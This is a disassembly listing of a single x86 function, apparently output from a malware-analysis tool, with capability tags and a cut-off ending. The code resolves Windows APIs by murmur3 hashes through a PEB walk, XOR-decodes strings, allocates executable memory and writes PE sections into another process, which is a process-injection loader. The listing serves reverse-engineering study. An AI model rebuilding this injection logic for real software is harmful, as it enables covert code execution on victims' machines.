Function at 0x405570
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using murmur3
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x425fd0
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x308
mov eax, dword [0x438048]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2a4], ecx
call fcn.0041231a
cmp eax, 0x1337
jne 0x4055c8
lea eax, [ebp - 0x28]
call eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x58], 0x3e521c7a
push eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x54], 0x3f9d0ab7
push eax
push 0x10c000
push 0x438ac0
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x50], 0x94832641
mov dword [ebp - 0x4c], 0xa06e5f6d
mov dword [ebp - 0x48], 0x602c7be1
mov dword [ebp - 0x44], 0x3099c84f
mov dword [ebp - 0x40], 0x6a128bda
mov dword [ebp - 0x3c], 0xf7a60472
mov dword [ebp - 0x38], 0x2bf18a3d
mov dword [ebp - 0x34], 0xc4d0976e
mov dword [ebp - 0x30], 0x8d10e65b
mov dword [ebp - 0x2c], 0x9e4cfa72
mov dword [ebp - 0x60], 8
mov dword [ebp - 0x5c], 0xe
call fcn.00427040
mov ecx, eax
mov eax, 0x5a4d
mov dword [ebp - 0x2b8], ecx
cmp word [ecx], ax
jne 0x406ebf
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0x2b4], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x298], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x2a8], ecx
cmp ecx, esi
je 0x405775
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x405775
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
nop word [eax + eax]
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, esi
mov dword [ebp - 0x294], ecx
mov ecx, 0xd7526908
dec edx
mov dword [ebp - 0x2a0], ecx
mov dword [ebp - 0x2ac], edx
mov cl, byte [edi]
inc edi
test cl, cl
je 0x405767
mov eax, dword [ebp - 0x2a0]
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul esi, ecx, 0x1b873593
imul ecx, edx, 0x51000000
xor esi, eax
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
rol esi, 0xd
lea edx, [esi - 0x52250ec]
lea edx, [edx + edx*4]
xor edx, ecx
xor edx, 1
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor edx, ecx
mov cl, byte [edi - 1]
imul eax, edx, 0x539
test cl, cl
jne 0x4056e1
mov edx, dword [ebp - 0x2ac]
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0x568ff8b2
mov eax, dword [ebp - 0x2b0]
je 0x40577c
mov esi, dword [eax + 0x18]
mov ecx, dword [ebp - 0x294]
test edx, edx
jne 0x4056b0
mov eax, dword [eax]
jmp 0x405671
mov eax, dword [ebp - 0x2a8]
mov esi, dword [ebp - 0x298]
push 0x40
push 0x3000
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
mov ecx, dword [ebp - 0x2b4]
add eax, esi
push dword [ecx + 0x50]
push dword [ecx + 0x34]
push dword [ebp - 0x2a4]
call eax
mov ecx, eax
mov dword [ebp - 0x2a0], ecx
test ecx, ecx
jne 0x405923
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x2ac], eax
mov dword [ebp - 0x294], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x2a8], ecx
cmp ecx, esi
je 0x4058d5
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x4058d5
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
nop dword [eax + eax]
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, esi
mov dword [ebp - 0x298], ecx
mov ecx, 0xac1aad16
dec edx
mov dword [ebp - 0x2a0], ecx
mov dword [ebp - 0x2b0], edx
mov cl, byte [edi]
inc edi
test cl, cl
je 0x4058c7
mov eax, dword [ebp - 0x2a0]
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul esi, ecx, 0x1b873593
imul ecx, edx, 0x51000000
xor esi, eax
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
rol esi, 0xd
lea edx, [esi - 0x52250ec]
lea edx, [edx + edx*4]
xor edx, ecx
xor edx, 1
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor edx, ecx
mov cl, byte [edi - 1]
imul eax, edx, 0x539
test cl, cl
jne 0x405841
mov edx, dword [ebp - 0x2b0]
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0xba58719
mov eax, dword [ebp - 0x2ac]
je 0x4058dc
mov esi, dword [eax + 0x18]
mov ecx, dword [ebp - 0x298]
test edx, edx
jne 0x405810
mov eax, dword [eax]
jmp 0x4057d2
mov eax, dword [ebp - 0x2a8]
mov esi, dword [ebp - 0x294]
push 0x40
push 0x3000
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
mov ecx, dword [ebp - 0x2b4]
add eax, esi
push dword [ecx + 0x50]
push 0
push dword [ebp - 0x2a4]
call eax
mov dword [ebp - 0x2a0], eax
test eax, eax
je 0x406eb9
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x280], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x27c], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x278], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x2ac], eax
mov dword [ebp - 0x29c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x2a8], ecx
cmp ecx, esi
je 0x405a57
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x405a57
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, esi
mov dword [ebp - 0x298], ecx
mov ecx, 0x538ba066
dec edx
mov dword [ebp - 0x2b0], ecx
mov dword [ebp - 0x294], edx
mov cl, byte [edi]
inc edi
test cl, cl
je 0x405a49
mov eax, dword [ebp - 0x2b0]
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul esi, ecx, 0x1b873593
imul ecx, edx, 0x51000000
xor esi, eax
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
rol esi, 0xd
lea edx, [esi - 0x52250ec]
lea edx, [edx + edx*4]
xor edx, ecx
xor edx, 1
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor edx, ecx
mov cl, byte [edi - 1]
imul eax, edx, 0x539
test cl, cl
jne 0x4059c3
mov edx, dword [ebp - 0x294]
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0xef3521ce
mov eax, dword [ebp - 0x2ac]
je 0x405a5e
mov esi, dword [eax + 0x18]
mov ecx, dword [ebp - 0x298]
test edx, edx
jne 0x405992
mov eax, dword [eax]
jmp 0x405959
mov eax, dword [ebp - 0x2a8]
mov esi, dword [ebp - 0x29c]
push 0x104
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x26b]
push ecx
add eax, esi
push 0
call eax
mov dword [ebp - 0x28], 0xe6098a36
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0x9a78edf0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x28], 0x82a09f57
mov dword [ebp - 0x24], 0x6968b212
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x28], 0x8e6bef41
mov dword [ebp - 0x24], 0xb413829f
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x82c9f13e
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x24], 0x6968b212
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2d0]
mov dword [ebp - 0x2f4], ecx
lea ecx, [ebp - 0x2d0]
mov dword [ebp - 0x2f8], eax
lea edx, [ecx + 1]
pxor xmm1, xmmword [ebp - 0x300]
movaps xmmword [ebp - 0x2d0], xmm1
movups xmmword [ebp - 0x2e8], xmm0
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2d4], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405b50
sub ecx, edx
lea eax, [ebp - 0x2d0]
push ecx
push eax
lea ecx, [ebp - 0x2e8]
call fcn.0040b430
lea edx, [ebp - 0x2e8]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x318]
call fcn.00404d80
mov esi, eax
cmp dword [esi + 0x14], 0x10
jb 0x405b8e
mov esi, dword [esi]
mov ecx, dword [ebp - 0x304]
cmp ecx, 0x10
jb 0x405bc8
mov edx, dword [ebp - 0x318]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405bbe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406ee8
push ecx
push edx
call fcn.0040c961
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x2d4]
mov dword [ebp - 0x308], 0
mov dword [ebp - 0x304], 0xf
mov byte [ebp - 0x318], 0
cmp ecx, 0x10
jb 0x405c24
mov edx, dword [ebp - 0x2e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405c1a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406ee8
push ecx
push edx
call fcn.0040c961
add esp, 8
push esi
lea eax, [ebp - 0x167]
mov dword [ebp - 0x2d8], 0
push 0x104
push eax
mov dword [ebp - 0x2d4], 0xf
mov byte [ebp - 0x2e8], 0
call fcn.00412622
mov al, byte [ebx + 0x10]
add esp, 0xc
mov byte [ebp - 0x26c], al
mov eax, dword fs:[0x30]
mov dword [ebp - 0x270], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x2a8], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x298], ecx
cmp ecx, esi
je 0x405d54
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x405d54
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, esi
mov dword [ebp - 0x29c], ecx
dec edx
mov esi, 0x8fabe9b0
mov dword [ebp - 0x294], edx
mov cl, byte [edi]
inc edi
test cl, cl
je 0x405d43
nop word [eax + eax]
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x405cd0
cmp esi, 0x1d229e56
je 0x405d5b
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x29c]
mov esi, dword [eax + 0x18]
test edx, edx
jne 0x405ca6
mov eax, dword [eax]
jmp 0x405c73
mov esi, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x294]
mov edx, dword [ebp - 0x2a8]
push 0x40
mov eax, dword [esi + 0x24]
push 0x3000
push 0x1000
push 0
push dword [ebp - 0x2a4]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x2ac], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop dword [eax + eax]
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0x2a8], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [ebp - 0x298], eax
cmp eax, esi
je 0x405e87
mov edx, dword [eax + 0x18]
test edx, edx
je 0x405e87
mov eax, dword [eax + 0x20]
lea eax, [eax + edx*4]
add eax, esi
mov edi, dword [eax - 4]
sub eax, 4
add edi, esi
mov dword [ebp - 0x29c], eax
dec edx
mov esi, 0x6b40ef1a
mov dword [ebp - 0x294], edx
mov al, byte [edi]
inc edi
test al, al
je 0x405e76
movsx edx, al
lea edi, [edi + 1]
imul eax, edx, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor eax, esi
rol eax, 0xd
add eax, 0xfaddaf14
lea esi, [eax + eax*4]
imul eax, edx, 0x51000000
rol eax, 0xf
imul eax, eax, 0x1b873593
xor esi, eax
xor esi, 1
mov eax, esi
shr eax, 0x10
xor eax, esi
imul edx, eax, 0x85ebca6b
mov eax, edx
shr eax, 0xd
xor eax, edx
imul edx, eax, 0xc2b2ae35
mov eax, edx
shr eax, 0x10
xor eax, edx
imul esi, eax, 0x539
mov al, byte [edi - 1]
test al, al
jne 0x405e04
cmp esi, 0xc9bdf1e6
je 0x405e8e
mov edx, dword [ebp - 0x294]
mov eax, dword [ebp - 0x29c]
mov esi, dword [ecx + 0x18]
test edx, edx
jne 0x405de3
mov ecx, dword [ecx]
jmp 0x405db0
mov esi, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x294]
mov edx, dword [ebp - 0x2a8]
push 0
mov eax, dword [esi + 0x24]
push 0x210
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
mov esi, dword [ebp - 0x2ac]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x270]
push ecx
push esi
push dword [ebp - 0x2a4]
add eax, edx
call eax
mov edx, dword [ebp - 0x2b4]
xor ecx, ecx
mov dword [ebp - 0x274], esi
mov dword [ebp - 0x2ac], ecx
movzx eax, word [edx + 0x14]
add eax, 0x2c
cmp word [edx + 6], cx
je 0x40607e
lea esi, [eax + edx]
mov dword [ebp - 0x2b0], esi
mov eax, dword [esi - 4]
mov dword [ebp - 0x24], eax
test eax, eax
je 0x406062
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x2a8], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x298], ecx
cmp ecx, esi
je 0x405ff8
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x405ff8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, esi
mov dword [ebp - 0x29c], ecx
dec edx
mov esi, 0xa8f9f532
mov dword [ebp - 0x294], edx
mov cl, byte [edi]
inc edi
test cl, cl
je 0x405fe7
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x405f74
cmp esi, 0x20453f8e
je 0x405fff
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x29c]
mov esi, dword [eax + 0x18]
test edx, edx
jne 0x405f53
mov eax, dword [eax]
jmp 0x405f20
mov edx, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x294]
mov esi, dword [ebp - 0x2a8]
mov edi, dword [ebp - 0x2b8]
mov eax, dword [edx + 0x24]
push 0
push dword [ebp - 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + esi]
add edx, esi
mov esi, dword [ebp - 0x2b0]
mov ecx, dword [esi]
mov eax, dword [esi - 8]
add ecx, edi
add eax, dword [ebp - 0x2a0]
push ecx
push eax
push dword [ebp - 0x2a4]
call edx
test eax, eax
je 0x40618c
mov ecx, dword [ebp - 0x2ac]
mov edx, dword [ebp - 0x2b4]
movzx eax, word [edx + 6]
inc ecx
add esi, 0x28
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x2b0], esi
cmp ecx, eax
jne 0x405f00
push 0x10
lea eax, [ebp - 0x280]
push eax
push dword [ebp - 0x2b8]
call fcn.00427310
mov eax, dword fs:[0x30]
add esp, 0xc
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x298], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x29c], ecx
cmp ecx, esi
je 0x406185
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x406185
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, esi
mov dword [ebp - 0x24], ecx
dec edx
mov esi, 0x89f2a1ab
mov dword [ebp - 0x294], edx
mov cl, byte [edi]
inc edi
test cl, cl
je 0x406177
nop word [eax + eax]
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x406100
cmp esi, 0x22651504
je 0x4062c9
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edx, edx
jne 0x4060d4
mov eax, dword [eax]
jmp 0x4060a1
push edi
call fcn.0040c927
mov eax, dword fs:[0x30]
add esp, 4
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x298], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x29c], ecx
cmp ecx, esi
je 0x406281
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x406281
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, esi
mov dword [ebp - 0x24], ecx
dec edx
mov esi, 0x1cd83cc6
mov dword [ebp - 0x294], edx
mov cl, byte [edi]
inc edi
test cl, cl
je 0x406273
nop word [eax + eax]
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x406200
cmp esi, 0xe601b00e
je 0x406288
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edx, edx
jne 0x4061d4
mov eax, dword [eax]
jmp 0x4061a1
mov esi, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x294]
mov edx, dword [ebp - 0x298]
push 0x8000
mov eax, dword [esi + 0x24]
push 0
push dword [ebp - 0x2a0]
push dword [ebp - 0x2a4]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x406ec8
mov esi, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x294]
mov edx, dword [ebp - 0x298]
push 0
mov eax, dword [esi + 0x24]
push 0x1000
push dword [ebp - 0x2b8]
push dword [ebp - 0x2a0]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
push dword [ebp - 0x2a4]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x298], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x29c], ecx
cmp ecx, esi
je 0x406401
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x406401
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, esi
mov dword [ebp - 0x24], ecx
dec edx
mov esi, 0x63e35262
mov dword [ebp - 0x294], edx
mov cl, byte [edi]
inc edi
test cl, cl
je 0x4063f3
nop word [eax + eax]
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x406380
cmp esi, 0x37a482b2
je 0x406408
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edx, edx
jne 0x406353
mov eax, dword [eax]
jmp 0x406320
mov esi, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x294]
mov edx, dword [ebp - 0x298]
push 0x40
mov eax, dword [esi + 0x24]
push 0x3000
push 0x1000
push 0
push dword [ebp - 0x2a4]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov dword [ebp - 0x2b4], eax
test eax, eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
jne 0x406540
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x298], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x29c], ecx
cmp ecx, esi
je 0x406536
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x406536
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, esi
mov dword [ebp - 0x24], ecx
dec edx
mov esi, 0x54ba9d02
mov dword [ebp - 0x294], edx
mov cl, byte [edi]
inc edi
test cl, cl
je 0x406528
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x4064b1
cmp esi, 0x4189b3a1
je 0x406288
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edx, edx
jne 0x406493
mov eax, dword [eax]
jmp 0x406460
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x298], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x29c], ecx
cmp ecx, esi
je 0x406612
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x406612
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, esi
mov dword [ebp - 0x24], ecx
dec edx
mov esi, 0x6a9b10f2
mov dword [ebp - 0x294], edx
mov cl, byte [edi]
inc edi
test cl, cl
je 0x406604
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x406591
cmp esi, 0x111b0ab9
je 0x406619
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edx, edx
jne 0x406573
mov eax, dword [eax]
jmp 0x406540
mov esi, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x294]
mov edx, dword [ebp - 0x298]
push 0
mov eax, dword [esi + 0x24]
push 0x1000
push 0x405410
push dword [ebp - 0x2b4]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
push dword [ebp - 0x2a4]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x298], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x29c], ecx
cmp ecx, esi
je 0x406742
